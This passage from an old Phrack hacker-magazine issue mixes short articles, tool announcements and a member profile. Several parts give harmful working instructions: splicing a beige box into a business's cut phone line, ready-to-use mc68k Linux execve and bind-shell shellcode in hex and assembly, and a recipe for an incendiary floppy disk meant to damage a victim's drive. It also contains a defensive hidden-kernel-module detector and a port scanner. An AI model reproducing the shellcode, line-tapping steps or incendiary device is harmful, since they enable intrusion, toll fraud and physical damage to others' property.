to configure a TellMe webpage. Cum69 - Advice on proper password generation. (hahahahahahahahahaha!!!!) EATME - Computer tone leading to nowhere. The TellMe security protocols are pathetic. Archangel (The Teflon Con) Wrath of God Hand Delivered http://the.feds.are.lookingat.us |=-----------------------------------------------------------------------=| |=-=[ 3 - Shitboxing ]=--------------------------------------------------=| |=-----------------------------------------------------------------------=| by Agent5 So you're sitting in a small family owned type resturaunt or you're walking through a small store looking at their various wares and, as normal every couple times a day, you hear the call of nature. You make your way towards the (preferably single occupancy) mens room (or ladies for those few that may actually read this) and enter. So your doing your thing and you're lookin around checking out your surroundings (why? cause you're supposed to be fucking observant at all times.Thats why.) Your gaze takes you towards the ceiling. Looks like most most cheap drop down ceilings. hmmmm.... drop down ceiling.....easily removable. So you stand on the toilet, or whatever, and take a look. You pull out your pocket flashlight and take a look. Nothing but wires. Couple elecrical or telephone maybe... ..TELEPHONE? Does this mean i can sit on the throne and use the fone? Indeed it does! All you need is a few things to help you make your dream of phreaking at its absolute lazyest a reality.what you need will (besides your beigebox with a RJ-11 plug on the cord) probably cost you, at an extreme maximum, 3 bucks for parts and about 6 bucks for an telephone Line Crimper for standard telephone plugs (RJ-11) you will also need a... "modular line splitter - Provides two telephone jacks when plugged into the end of a telephone line cord. Standard 4-wire jacks. Color: Ivory"----bout dollar and change max cost. Most of these parts, if not all, can be found at your local radioshack. Now if you havent figured out what i'm getting at yet, you should seek medical attention immediately, CAT-scans have helped me alot. Heres what you do and make sure you do it quickly in case they try to use the telephone while the line is disconnected. SO make sure you lock the door and get to work fast....if you have people beginning to knock on the door just make some nasty shitting sounds and say you'll be out in a minute. 1. Cut the line. (no specific tools needed, something sharp will do) 2. Attach a plug to either end of the line you have just cut. 3. Put one end of the plug in one end of the modular line splitter, put the one thats left into one of the two holes on the front of the splitter. 4. Now you can either leave and let the intestinaly distressed old guy pouding on the door in, or you can plug your beige box in and have some fun. Treat this as you would any other beige boxing session. Keep in mind that the people who own the telephone line may want to use it to and may not enjoy having someone on the line already. But for the most part this ordinary bathroom has just become a your private telephone booth, complete with running water and a toilet for the astronomical sum of 3 dollars US. "This file brought to you by the makers of sharp things." Shoutouts to Epiphany, Bizurke, Master Slate, Ic0n, Xenocide, Bagel, Hopping Goblin, Maddjimbeam, lioid, emerica, the rest of the #mabell ninja's, port7 alliance, and LPH crew . |=-----------------------------------------------------------------------=| |=-=[ 4 - PalmMap v1.6 - Nmap for Palm ]=--------------------------------=| |=-----------------------------------------------------------------------=| (submitted by Shaun Colley ) -----BEGIN PALMMAP----- # PalmMap.bas # PalmMap v1.6 - Nmap for Palm. fn set_auto_off(0) s$(0) = "Host:" s$(2) = "Start Port:" s$(4) = "End Port:" f = form(9, 3, "PalmMap v1.6") if f = 0 then end if f = 2 then gosub about let h$ = s$(1) let p = val(s$(3)) let e = val(s$(5)) let i = p let t$ = "PalmMap.log" open new "memo", t$ as #4 form2: cls form btn 30 , 40 , 40 , 18, "connect()", 1 form btn 85 , 40, 40 , 18 , "TCP SYN" , 1 form btn 60 , 80 , 40 , 18 , "UDP scan" , 1 form btn 60 , 120, 40 , 18 , "TCP FIN " , 1 draw "Scan type?", 50, 20, 1 while x = asc(input$(1)) if x = 14 then gosub scan if x = 15 then print "Scan type not implemented as of yet." if x = 16 then print "Scan type not implemented as of yet." if x = 17 then print "Scan type not implemented as of yet." wend sub scan cls print at 50, 40 while(i <= e) c = fn tcp(1, h$, i) if(c = 0) print "Port ", i, "Open" fn tcp(-1, "", 0) print #4, "Port ", i, "Open" else fn tcp(-1, "", 0) print #4, "Port ", i, "Closed" endif let i = i + 1 wend close #4 print "Scan complete!" end sub about cls msgbox("PalmMap - Nmap for Palm.", "About PalmMap 1.6") -----END PALMMAP----- |=-----------------------------------------------------------------------=| |=-=[ 5 - Writing Linux/mc68xxx Shellcodez ]=----------------------------=| |=-----------------------------------------------------------------------=| by madcr (madrats@mail.ru) I Introdaction. II Registers. III Syscalls. IV Execve shellcode. V Bind-socket shellcode. VI References. I. Introdaction. The history Motorola begins already with 1920 then they let out radioelements and about computers of nothing it was known. Only in 1974, motorola lets out the first 8th the bit microprocessor - MC6800, containing 4000 transistors and in 1979 motorola announces the first 16th bit processor - MC68000, capable to process up to 2 million operations per one second. After 5 more years, in 1984 motorola relize the first 32th the bit processor (MC68020), containing 200000 transistors. Till 1994 inclusive motorola improved a series of the processors and in a result, in March, release MC68060 processor contained 2,5 million transistors. In present days, 68060 is the optimal processor for use any unix. The processor can work in 2 modes: User and SuperVisor. It not analogy of the real and protected mode in x86 processors. It some kind of protection "just in case". In the user mode it is impossible to cause exceptions and it is impossible to have access to all area of memory. In supervisor mode all is accessible. Accordingly kernel work in Supervisor mode, and rest in User mode. MC68 supported various manufacturers unix, such as netbsd, openbsd, redhat linux, debian linux, etc. Given article is focused on linux (in particular debian). II. Registers. The processor as a matter of fact the CISC (but there are some opportunities RISC), accordingly not so is a lot of registers: Eight registers of the data: with %d0 on %d7. Eight registers of the address: with %a0 on %a7. The register of the status: %sr. Two stack indexes: %sp and %fp The program counter: %pc. Basically it is not required to us of anything more. And the minimal set of instructions which is required to us by development shellcode: instruction example description move movl %d0,%d1 Put value from %d0 in %d1 lea leal %sp@(0xc),%a0 calculate the address on 0xc to displacement in the stack and it is put in. %a0. eor eorl %d0,%d1 xor pea pea 0x2f2f7368 push in stack '//sh' In total these 4 instructions will be enough for a spelling functional shellcode ?). And now it is high time to tell about the fifth, most important instruction (fifth, need us i mean) and about exceptions. The instruction trap - a call of exception. In processors motorola, only 256 exceptions, but of all of them are necessary for us only one - trap #0. In mc68 linux on this exception call to a kernel, for execution system call. Trap 0 refers to a vector located to the address $80h (strange concurrence). Now we shall stop on system calls more in detail. III. System Calls. System calls on the given architecture are organized thus: %d0 - number of a system call. %d1,%d2,%d3 - argv i.e. to make banal setuid (0); we will have something unpretentious: eorl %d2,%d2 movl %d2,%d1 movl #23,%d0 trap #0 Rather simple. IV. Execve shellcode. So, we shall start as always with old-kind execve: .globl _start _start: .text movl #11,%d0 /* execve() (see unistd.h) */ movl #m1,%d1 /* /bin/sh address */ movl #m2,%d2 /* NULL */ movl #m2,%d3 /* NULL too */ trap #0 .data m1: .ascii "/bin/sh\0" m1: .ascii "0\0". # as execve.s -o execve.o ; ld execve.o -o execve # ./execve sh-2.03# exit exit # Such code will not go, since he not pozitsio-independent and did not check him on zero. Therefore we shall rewrite him with participation of the stack (since the machine at us big endian the order of following of byte needs to be taken into account): .globl _start _start: moveq #11,%d0 /* execve() */ pea 0x2f2f7368 /* //sh */ pea 0x2f62696e /* /bin (big endian) */ movel %sp,%d1 /* /bin/sh in %d1 */ eorl %d2,%d2 /* pea 0x0 + avoiding */ movel %d2,%sp@- /* zero byte */ pea 0x130 /* pea 0030 -> 0130 = kill the zero */ movel %sp,%d2 /* NULL in %d2 */ movel %d2,%d3 /* NULL in %d2 */ trap #0 /* syscall */ # as execve2.s -o execve2.o ; ld execve2.o -o execve2 # ./execve2 sh-2.03# exit exit # Very well. Now we shall mutate him in ascii and we shall look as it works: char execve_shellcode[]= "\x70\x0b" /* moveq #11,%d0 */ "\x48\x79\x2f\x2f\x73\x68" /* pea 0x2f2f7368 -> //sh */ "\x48\x79\x2f\x62\x69\x6e" /* pea 0x2f62696e -> /bin */ "\x22\x0f" /* movel %sp,%d1 */ "\xb5\x82" /* eorl %d2,%d2 -> */ "\x2f\x02" /* movel %d2,%sp@- -> pea 0x0 */ "\x48\x78\x01\x30" /* pea 0x130 */ "\x24\x0f" /* movel %sp,%d2 */ "\x26\x02" /* movel %d2,%d3 */ "\x4e\x40"; /* trap #0 */ main() { int *ret; ret=(int *)&ret +2; *ret = execve_shellcode; } # gcc execve_shellcode.c -o execve_shellcode # ./execve_shellcode sh-2.03# exit exit # Our shellcode. Perfectly. But certainly it is not enough of it, therefore we shall binding this shellcode on socket. V. Bind-socket shellcode. For the beginning we write our code on C: #include <;;shiti;;> main() { int fd,dupa; struct sockaddr_in se4v; fd=socket(AF_INET,SOCK_STREAM,0); se4v.sin_port=200; se4v.sin_family=2; se4v.sin_addr.s_addr=0; bind(fd,(struct sockaddr *)&se4v,sizeof(se4v)); listen(fd,1); dupa=accept(fd,0,0); dup2(dupa,0); dup2(dupa,1); dup2(dupa,2); execl("/bin/sh","sh",0); } # gcc -static bindshell.c -o bindshell & # ./bindshell & [1] 276 # netstat -an | grep 200 tcp 0 0 0.0.0.0:200 0.0.0.0:* LISTEN # telnet localhost 200 Trying 127.0.01... Connected to localhost. Escape character is '^]'. echo aaaaaaaaaaaa aaaaaaaaaaaa ctrl+c [1]+ Done ./bindshell All works. Now the last, that us interests - it as there is a work with a network. # gdb -q ./bindshell (gdb) disas socket Dump of assembler code for function socket: 0x80004734 : moveal %d2,%a0 0x80004736 : moveq #102,%d0 0x80004738 : moveq #1,%d1 0x8000473a : lea %sp@(4),%a1 0x8000473e : movel %a1,%d2 0x80004740 : trap #0 0x80004742 : movel %a0,%d2 0x80004744 : tstl %d0 0x80004746 : bmil 0x80004958 <__syscall_error> 0x8000474c : rts 0x8000474e : rts End of assembler dump. (gdb) Perfectly. As well as everywhere - 102 = socket_call. 1 - sys_socket. (for the full list look net.h). Proceeding from the aforesaid we shall write it on the assembler: .globl _start _start: /* socket(AF_INET,SOCK_STREAM,0); ----------------------------------------- */ /* af_inet - 2, sock_stream - 1, ip_proto0 - 0 */ moveq #2,%d0 movl %d0,%sp@ /* sock_stream */ moveq #1,%d0 movel %d0,%sp@(0x4) /* AF_INET */ eorl %d0,%d0 movl %d0,%sp@(0x8) movl %sp,%d2 /* put in d2 the address in the stack on where our argv*/ movl #0x66,%d0 /* socketcall (asm/unistd.h) */ movl #1,%d1 /* sys_socket (linux/net.h) */ trap #0 /* go on vector 80 */ /* -bind(socket,(struct sockaddr *)&serv,sizeof(serv));-------------------- */ movl %d0,%sp@ /* in d0 back descriptor on socket */ move #200,%d0 movl %d0,%sp@(0xc) /* port number */ eorl %d0,%d0 movl %d0,%sp@(0x10) /* sin_addr.s_addr=0 */ moveq #2,%d0 movl %d0,%sp@(0x14) /* sin_family=2 */ /* Let's calculate the address of an arrangement of constants of the */ /* second argument and we shall put this address as the second argument */ leal %sp@(0xc),%a0 movl %a0,%sp@(0x4) moveq #0x10,%d0 movl %d0,%sp@(0x8) /* third argument 0x10 */ movl #0x66,%d0 /* socketcall (asm/unistd.h) */ movl #2,%d1 /* sys_bind (linux/net.h) */ trap #0 /* go on vector 80 */ /* listen (socket,1); ----------------------------------------------------- */ /* descriptor socket's already in stack. */ /*------------------------------------------------------------------------- */ moveq #1,%d0 movl %d0,%sp@(4) /* in d2 already put address of the beginning arguments in the stack */ movl #0x66,%d0 /* scoketcall (asm/unistd.h) */ movl #4,%d1 /* sys_listen (linux/net.h) */ trap #0 /* go on vector 80 */ /* accept (fd,0,0); ------------------------------------------------------- */ eorl %d0,%d0 movl %d0,%sp@(4) movl %d0,%sp@(8) movl #0x66,%d0 /* scoketcall (asm/unistd.h) */ movl #5,%d1 /* sys_accept (linux/net.h) */ trap #0 /* go on vector 80 */ /* dup2 (cli,0); ---------------------------------------------------------- */ /* dup2 (cli,1); ---------------------------------------------------------- */ /* dup2 (cli,2); ---------------------------------------------------------- */ movl %d0,%d1 movl #0x3f,%d0 movl #0,%d2 trap #0 movl %d0,%d1 movl #0x3f,%d0 movl #1,%d2 trap #0 movl %d0,%d1 movl #0x3f,%d0 movl #2,%d2 trap #0 /* execve ("/bin/sh"); ----------------------------------------------------- */ movl #11,%d0 /* execve */ pea 0x2f2f7368 /* //sh */ pea 0x2f62696e /* /bin */ movl %sp,%d1 /* /bin/sh in %d1 */ eorl %d2,%d2 movl %d2,%sp@- /* pea 0x0 */ pea 0x0130 /* 0030 -> 0130 = kill the zero */ movl %sp,%d2 movl %d2,%d3 trap #0 /* ---EOF---bindsock shellcode--------------------------------------------- */ # as bindshell.s -o bindshell.o ; ld bindshell.o -o bindshell # ./bindshell & [309] # telnet localhost 200 Trying 127.0.01... Connected to localhost. Escape character is '^]'. echo aaaaaaaaaaaa aaaaaaaaaaaa ctrl+c In general and all. The code certainly super-not optimized, is some zero, but the general picture I hope has given. And at last how it should be: char bind_shellcode[]= "\x70\x02" /* moveq #2,%d0 */ "\x2e\x80" /* movel %d0,%sp@ */ "\x70\x01" /* moveq #1,%d0 */ "\x2f\x40\x00\x04" /* movel %d0,%sp@(4) */ "\xb1\x80" /* eorl %d0,%d0 */ "\x2f\x40\x00\x08" /* movel %d0,%sp@(8) */ "\x24\x0f" /* movel %sp,%d2 */ "\x70\x66" /* moveq #102,%d0 */ "\x72\x01" /* moveq #1,%d1 */ "\x4e\x40" /* trap #0 */ "\x2e\x80" /* movel %d0,%sp@ */ "\x30\x3c\x00\xc8" /* movew #200,%d0 */ "\x2f\x40\x00\x0c" /* movel %d0,%sp@(12) */ "\xb1\x80" /* eorl %d0,%d0 */ "\x2f\x40\x00\x10" /* movel %d0,%sp@(16) */ "\x70\x02" /* moveq #2,%d0 */ "\x2f\x40\x00\x14" /* movel %d0,%sp@(20) */ "\x41\xef\x00\x0c" /* lea %sp@(12),%a0 */ "\x2f\x48\x00\x04" /* movel %a0,%sp@(4) */ "\x70\x10" /* moveq #16,%d0 */ "\x2f\x40\x00\x08" /* movel %d0,%sp@(8) */ "\x70\x66" /* moveq #102,%d0 */ "\x72\x02" /* moveq #2,%d1 */ "\x4e\x40" /* trap #0 */ "\x70\x01" /* moveq #1,%d0 */ "\x2f\x40\x00\x04" /* movel %d0,%sp@(4) */ "\x70\x66" /* moveq #102,%d0 */ "\x72\x04" /* moveq #4,%d1 */ "\x4e\x40" /* trap #0 */ "\xb1\x80" /* eorl %d0,%d0 */ "\x2f\x40\x00\x04" /* movel %d0,%sp@(4) */ "\x2f\x40\x00\x08" /* movel %d0,%sp@(8) */ "\x70\x66" /* moveq #102,%d0 */ "\x72\x05" /* moveq #5,%d1 */ "\x4e\x40" /* trap #0 */ "\x22\x00" /* movel %d0,%d1 */ "\x70\x3f" /* moveq #63,%d0 */ "\x74\x00" /* moveq #0,%d2 */ "\x4e\x40" /* trap #0 */ "\x22\x00" /* movel %d0,%d1 */ "\x70\x3f" /* moveq #63,%d0 */ "\x74\x01" /* moveq #1,%d2 */ "\x4e\x40" /* trap #0 */ "\x22\x00" /* movel %d0,%d1 */ "\x70\x3f" /* moveq #63,%d0 */ "\x74\x02" /* moveq #2,%d2 */ "\x4e\x40" /* trap #0 */ "\x70\x0b" /* moveq #11,%d0 */ "\x48\x79\x2f\x2f\x73\x68" /* pea 2f2f7368 */ "\x48\x79\x2f\x62\x69\x6e" /* pea 2f62696e */ "\x22\x0f" /* movel %sp,%d1 */ "\xb5\x82" /* eorl %d2,%d2 */ "\x2f\x02" /* movel %d2,%sp@- */ "\x48\x78\x01\x30" /* pea 130 */ "\x24\x0f" /* movel %sp,%d2 */ "\x26\x02" /* movel %d2,%d3 */ "\x4e\x40"; /* trap #0 */ main() { int *ret; ret=(int *)&ret +2; *ret = bind_shellcode; } p.s. as always - sorry for my poor english. VI. References. [1] http://e-www.motorola.com/collateral/M68000PRM.pdf - programmer's manual [2] http://e-www.motorola.com/brdata/PDFDB/docs/MC68060UM.pdf - user's manual [3] http://www.lsd-pl.net/documents/asmcodes-1.0.2.pdf - good tutorial |=-----------------------------------------------------------------------=| |=-=[ 6 - Finding hidden kernel modules (the extrem way) ]=--------------=| |=-----------------------------------------------------------------------=| by madsys 1 Introduction 2 The technique of module hiding 3 Countermeasure -- brute force 4 Problem of unmapped 5 Greetings 6 References 7 Code 1 Introduction ============== This paper presents a method for how to find out the hidden modules in linux system. Generaly speaking, most of the attackers intend to hide their modules after taking down the victim. They like this way to prevent the change of kernel from being detected by the administrator. As modules were linked to a singly linked chain, the original one was unable to be recovered while some modules have been removed. In this sense, to retrieve the hidden modules came up to be hard. Essential C skill and primary knowledge of linux kernel are needed. 2 The technique of module hiding ================================ First of all, the most popular and general technique of module hiding and the quomodo of application to get module's list were examined. An implement of module hiding was shown as below: ----snip---- struct module *p; for (p=&__this_module; p->next; p=p->next) { if (strcmp(p->next->name, str)) continue; p->next=p->next->next; // <-- here it removes that module break; } ----snip---- As you can see, in order to hide one module, the unidirectional chain was modified, and following is a snippet of sys_create_module() system call, which might tell why the technique worked: ----snip---- spin_lock_irqsave(&modlist_lock, flags); mod->next = module_list; module_list = mod; /* link it in */ spin_unlock_irqrestore(&modlist_lock, flags); ----snip---- A conclusion could be made: modules linked to the end of unidirectional chain when they were created. "lsmod" is an application on linux for listing current loaded modules, which uses sys_query_module() system call to get the listing of loaded modules, and qm_modules() is the actual function called by it while querying modules: static int qm_modules(char *buf, size_t bufsize, size_t *ret) { struct module *mod; size_t nmod, space, len; nmod = space = 0; for (mod=module_list; mod != &kernel_module; mod=mod->next, ++nmod) { len = strlen(mod->name)+1; if (len > bufsize) goto calc_space_needed; if (copy_to_user(buf, mod->name, len)) return -EFAULT; buf += len; bufsize -= len; space += len; } if (put_user(nmod, ret)) return -EFAULT; else return 0; calc_space_needed: space += len; while ((mod = mod->next) != &kernel_module) space += strlen(mod->name)+1; if (put_user(space, ret)) return -EFAULT; else return -ENOSPC; } note: pointer module_list is always at the head of the singly linked chain. It clearly showing the technique of hiding module was valid. 3 Countermeasure -- brute force =============================== According to the technique of hiding module, brute force might be useful. sys_creat_module() system call was expressed as below. --snip-- if ((mod = (struct module *)module_map(size)) == NULL) { error = -ENOMEM; goto err1; } --snip-- and the macro module_map in "asm/module.h": #define module_map(x) vmalloc(x) You should have noticed that the function calls vmalloc() to allocate the module struct. So the size limitation of vmalloc zone for brute force is able to be exploited to determine what modules in our system on earth. As you know, the vmalloc zone is 128M(2.2, 2.4 kernel, there are many inanition zones in it), however, any allocated module should be aligned by 4K. Therefor, the theoretical maximum number we were supposed to detect was 128M/4k=32768. 4 Problem of unmapped ===================== By far, maybe you think: umm, it's very easy to use brute force to list those evil modules". But it is not true because of an important reason: it is possible that the address which you are accessing is unmapped, thus it can cause a paging fault and the kernel would report: "Unable to handle kernel paging request at virtual address". So we must make sure the address we are accessing is mapped. The solution is to verify the validity of the corresponding entry in kernel pgd(swapper_pg_dir) and the corresponding entry in page table.Furthermore, we were supposed to make sure the content of address pointed by "name" pointer(in struct module) was valid. Because the 768~1024 entries of user process's pgd were synchronous with kerenl pgd, and that was why such hardcore address of kernel pgd (0xc0101000) was used. following is the function for validating those entries in pgd or pgt: int valid_addr(unsigned long address) { unsigned long page; if (!address) return 0; page = ((unsigned long *)0xc0101000)[address >> 22]; //pde if (page & 1) { page &= PAGE_MASK; address &= 0x003ff000; page = ((unsigned long *) __va(page))[address >> PAGE_SHIFT]; //pte if (page) return 1; } return 0; } After validating those addresses which we would check, the next step would be easy -- just brute force. As the list of modules including hidden modules had been created, you could compare it with the output of "lsmod". Then you can find out those evil modules and get rid of them freely. 5 Greetings =========== Shout to uberhax0rs@linuxforum.net 6 Code ====== -----BEGING MODULE_HUNTER.C----- /* * module_hunter.c: Search for patterns in the kernel address space that * look like module structures. This tools find hidden modules that * unlinked themself from the chained list of loaded modules. * * This tool is currently implemented as a module but can be easily ported * to a userland application (using /dev/kmem). * * Compile with: gcc -c module_hunter.c -I/usr/src/linux/include * insmod ./module_hunter.o * * usage: cat /proc/showmodules && dmesg */ #define MODULE #define __KERNEL__ #include #ifdef CONFIG_SMP #define __SMP__ #endif #ifdef CONFIG_MODVERSIONS #define MODVERSIONS #include #endif #include #include #include #include #include #include #include #include #include #include #include static int errno; int valid_addr(unsigned long address) { unsigned long page; if (!address) return 0; page = ((unsigned long *)0xc0101000)[address >> 22]; if (page & 1) { page &= PAGE_MASK; address &= 0x003ff000; page = ((unsigned long *) __va(page))[address >> PAGE_SHIFT]; //pte if (page) return 1; } return 0; } ssize_t showmodule_read(struct file *unused_file, char *buffer, size_t len, loff_t *off) { struct module *p; printk("address module\n\n"); for (p=(struct module *)VMALLOC_START; p<=(struct \ module*)(VMALLOC_START+VMALLOC_RESERVE-PAGE_SIZE); p=(struct module \ *)((unsigned long)p+PAGE_SIZE)) { if (valid_addr((unsigned long)p+ (unsigned long)&((struct \ module *)NULL)->name) && valid_addr(*(unsigned long *)((unsigned long)p+ \ (unsigned long)&((struct module *)NULL)->name)) && strlen(p->name)) if (*p->name>=0x21 && *p->name<=0x7e && (p->size < 1 <<20)) printk("0x%p%20s size: 0x%x\n", p, p->name, p->size); } return 0; } static struct file_operations showmodules_ops = { read: showmodule_read, }; int init_module(int x) { struct proc_dir_entry *entry; entry = create_proc_entry("showmodules", S_IRUSR, &proc_root); entry->proc_fops = &showmodules_ops; return 0; } void cleanup_module() { remove_proc_entry("showmodules", &proc_root); } MODULE_LICENSE("GPL"); MODULE_AUTHOR("madsysercist.iscas.ac.cn"); -----END MODULE-HUNTER.C----- |=-----------------------------------------------------------------------=| |=-=[ 7 - Good old floppy bombs ]=---------------------------------------=| |=-----------------------------------------------------------------------=| [ Note by the editors: We felt like it's time for a re-print of some already forgotton fun with pyro techniques. Enjoy. ] #################################### # How To Make A Diskette Bomb # # by Phrick-A-Phrack # #################################### Before I even start i want to make it clear that i do NOT take any responsibility on the use of the information in this document. This little baby is good to use to stuff up someones computer a little. It can be adapted to a range of other things. You will need: - A disk (3.5" floppys are a good disk to use) - Scissors - White or blue kitchen matches (i have not found any other colors that work - im not sure why) - Clear nail polish What to do: - Carefully open up the diskette - remove the cotton covering from the inside. - scrape a lot of match powder into a bowl (use a woodent scraper as metal might spark and ignite the match powder) - After you have a lot, spread it EVENLY on the disk. - Spread nail polish over the match powder on the disk. - let it dry. - carefully put the diskette back together and use the nail plish to seal is shut. How to use it: Give it to someone you want to give a fright and stuff up their computer a little. Tell them its got something they are interested in on it. When they put it in their drive the drive head attempts to read the disk which causes a small fire - enough heat to melt the disk drive and stuff the head up! ^^Phrick-A-Phrack^^ |=[ EOF ]=---------------------------------------------------------------=| ==Phrack Inc.== Volume 0x0b, Issue 0x3d, Phile #0x04 of 0x0f |=------------------=[ T O O L Z A R M O R Y ]=------------------------=| |=-----------------------------------------------------------------------=| |=-----------------------=[ Phrack Staff ]=-----------------------------=| This new section, Phrack Toolz Armory, is dedicated to tool annoucements. We will showcast selected tools of relevance to the computer underground which have been released recently. Drop us a mail if you develop something kewl that you think is worth of being mentioned in #62. Content: 1 - Scapy, Interactive Packet Manipulation Program by Biondi 2 - ShellForge, Shellcode Builder by Biondi 3 - objobf : burneye2 IA32 object file obfuscator by team-teso 4 - ELFsh, ELF objects manipulation scripting langage by Devhell labs. 5 - Packit, Network injection, capture and auditing by D. Bounds ----[ 1 - Scapy : interactive packet manipulation program URL : http://www.cartel-securite.fr/pbiondi/scapy.html Author : biondi@cartel-securite.fr Comment : Scapy is a powerful interactive packet manipulation tool, packet generator, network scanner, network discovery tool, and packet sniffer. It provides classes to interactively create packets or sets of packets, manipulate them, send them over the wire, sniff other packets from the wire, match answers and replies, and more. Interaction is provided by the Python interpreter, so Python programming structures can be used (such as variables, loops, and functions). Report modules are possible and easy to make. It is able to do about the same things as ttlscan, nmap, hping, queso, p0f, xprobe, arping, arp-sk, arpspoof, firewalk, irpas, tethereal, tcpdump, etc. Here are some techniques that you can use it for : port, protocol, network scans, arp cache poisonning, dns poisonning, DoSing, nuking, sniffing etherleaking, icmpleaking, firewalking, NAT discovery, fingerprinting, etc. ----[ 2 - ShellForge : shellcode builder URL : http://www.cartel-securite.fr/pbiondi/shellforge.html Author : biondi@cartel-securite.fr Comment : ShellForge is a kit that builds shellcodes from C. It is inspired from Stealth's Hellkit. This enables to create very complex shellcodes (see example which scans ports). C header files are included that provide macros to substitute libc calls with direct system calls and an Python script automates compilation, extraction, encoding and tests. ----[ 3 - objobf : burneye2 IA32 object file obfuscator URL : http://www.team-teso.net/projects/objobf/ Author : teso@team-teso.net Comment : Objobf is part of the burneye2 binary security suite. It is an ELF relocatable object file obfuscation program. While still a beta release it works well on smaller object files and can significantly increase the time for manual decompilation. Within the downloadable tarball there are some examples. Besides obfuscation it does limited code and dataflow analysis and displays them in high quality graphs, using the free xvcg or the propietary aiSee graphing tools. Full sourcecode of the objobf tool is available at the above URL. ----[ 4 - ELFsh 0.51b2 portable : ELF objects manipulation scripting language URL : http://elfsh.devhell.org http://elfsh.segfault.net (mirror) Author : elfsh@devhell.org Comments : ELFsh is an interactive and scriptable ELF machine to play with executable files, shared libraries and relocatable ELF32 objects. It is useful for daily binary manipulations such as on-the-fly patching, embedded code injection, and binary analysis in research fields such as reverse engineering, security auditing and intrusion detection. ELFsh is based on libelfsh, so that the API is really useable in opensource projects. This version works on 2 architectures (INTEL, SPARC) and 4 OS (Linux, FreeBSD, NetBSD, Solaris). ----[ 5 - Packit : Network injection, capture and auditing tool URL : http://packit.sf.net Author : Darren Bounds Comments : Packit (Packet toolkit) is a network auditing tool. Its value is derived from its ability to customize, inject, monitor, and manipulate IP traffic. By allowing you to define (spoof) nearly all TCP, UDP, ICMP, IP, ARP, RARP, and Ethernet header options, Packit can be useful in testing firewalls, intrusion detection/prevention systems, port scanning, simulating network traffic, and general TCP/IP auditing. Packit is also an excellent tool for learning TCP/IP. It has been successfully compiled and tested to run on FreeBSD, NetBSD, OpenBSD, MacOS X and Linux. |=[ EOF ]=---------------------------------------------------------------=| phrack.org:~# cat .bash_history ==Phrack Inc.== Volume 0x0b, Issue 0x3d, Phile #0x04 of 0x0f |=---------------=[ P R O P H I L E O N D I G I T ]=-----------------=| |=-----------------------------------------------------------------------=| |=------------------------=[ Phrack Staff ]=-----------------------------=| |=---=[ Specification Handle: DiGiT AKA: digit, eskimo, icemonkey Handle origin: its not a funny story catch him: digit@security.is Age of your body: 22 Produced in Reykjavik, Iceland Height & Weight: 192cm, 80kg Urlz: none Computers: 2 laptops, 3 intel machines, indigo II, and a sparc station Member of: smapika international Projects: Mostly just stuff for my work and school related things. |=---=[ Favorite things Women: brunettes, blondes, and I prefer they have charisma, ambition, independence, intelligence, sense of humor Cars: German of course ;> Foods: Italian, asian Alcohol: beer, vodka/coke Music: trance/techno, rock, classical Movies: Pianist, godfather, Dune, LOTR, Bad boy bubby, Happiness Books & Authors: Urls: I like: Achiving my goals, honesty, integrity, wachyness I dislike: Waking up very early in the morning, constant rain, stuck in an office all day, fake people |=---=[ Life in 3 sentences No fear. Never give up. Never surrender. |=---=[ Passions | What makes you tick I like to set myself some sort of goal and try to achieve that within a certain amount of time. Being able to be my own boss is probably my greatest passion. I don't like to take orders and I value my independence greatly and the ability to do whatever I want is pretty important to me. In the past I basically quit everything to do almost nothing but computers/inet/hacking. I did that since I was around 16 until I was 20. I audited code around the clock, hacking, wrote exploits, and chatted with my friends on irc from dusk till dawn basically. The biggest experience for me was probably meeting the people that I did and the influence they had on me to improve myself. I probably have meeting antilove/RawPower and crazy-b at the top of my list with regards to that and they both really influenced me a lot and they probably provided me with my greatest experience with regards to hacking. |=---=[ Which research have you done or which one gave you the most fun? None much more than any other. Whenever I found some bug or something that I knew was unknown and the satisfaction of exploiting it was a lot of fun. --=[ Memorable Experiences I will never forget getting run over by a bus when I was 14 and having to stay in a hospital for 3 months and the frequent trips for another year afterwards pretty much is something I will never forget. Also the fact that the longest strike of Icelandic highschool teachers in icelandic history was happening at the exact same time I was stuck in a bed in a hospital. Installing my first Linux system(back in '94 i think) and thinking that the installation floppy shell prompt from the slackware distro was basically a full installation of slackware ;> I had hardly any previous experience with Linux at the time. Spending an absurd amount of time at my computer doing crazy stuff for no other reason other than to get the get the best rush imaginable. Meeting crazy-b for the first time on the same system we were both hacking and then deciding to meet on irc and becoming friends in the process. When crazy-b had to go into the norwegian army he wrote a small program that was a rudimentary irc client that piped input from an irc channel to a script that sent an sms to his phone with the input and also him being able to send an email to his address that piped the content of the mail to the irc channel. This way he could still irc from his mobile phone despite being in the army ;> Meeting the great antilove back in '97 and getting some private samba warez ;> Having antilove visit Iceland twice and doing lots of cool stuff with him like rollerblading, hunting for smapika, acting stupid, him teaching me how to lockpick, finding new bugs, writing exploits, teaching me how to bluebox, etc. Totally destroying my car when me and antilove were driving to a kfc in 2001 because some girl ran a red light at about 80km/h in the morning and then laughing about it the entire day for some reason. All the security.is weekends with the exploits we wrote and the bugs that we found together and with the trademark security.is hamburgers as made by portal. Having lots of fun with mikasoft and ga when they visited Iceland for new years a few years ago and especially when mikasoft was teaching yoga at a new years eve dinner my family was throwing. Also the duck liver paté was disgusting. Going to France with Icelandic friends and meeting a lot of hackers in Paris and having like 10 guys sleeping in the smallest room you could imagine. Then taking a cool train trip from Paris to montpellier and meeting a lot of other hackers and just totally invading montpellier and taking over an internet cafe for a week ;> Also hanging out at the beech with the amazingly cool french guys and starting a fire and drinking beer and listening to good music. Going to the club La Dune on our FIRST night in montpellier with all the french hackers/etc and buying a lot of champagne for everyone and antilove and nitro buying a ton of vodka for a group of like 20 people and just partying the entire night and watching all the non french people make total asses of themselves. Same night at La dune I will never forget witnessing Candypimp going beserk after drinking way too much and trying to jump into the ocean and then disapeering. we called the police to search for an 'insane' drunk Icelandic person that couldn't speak english anymore and who thought he was in his home city of Akureyri and not 50km away from montpellier and probably even didn't know where we were staying! JimJones was really drunk that night too and he passed out on some tree before waking up again and deciding to take a piss. He went into some ditch and somehow he managed to piss all over himself! If I remember correctly me, nitro, and antilove had to remove his clothes that night because he was too drunk to do it himself. He was then called pissman for the duration of the trip ;> Going to Las vegas with Starcon for blackhat and defcon and actually PAYING for blackhat but I only went to 1 speech(halvars) because my brother took the time to come down from Seattle to visit me. Going to defcon and seeing how amazingly commercial and fake it really is. Just look at the shit being sold there and all those stupid t-shirt stands. The coolest thing about defcon was the K2 party where a lot of people were hanging out and it was a very memorable night and I had nice talks with a lot of cool people. A recent jimjones visit to Iceland where we really 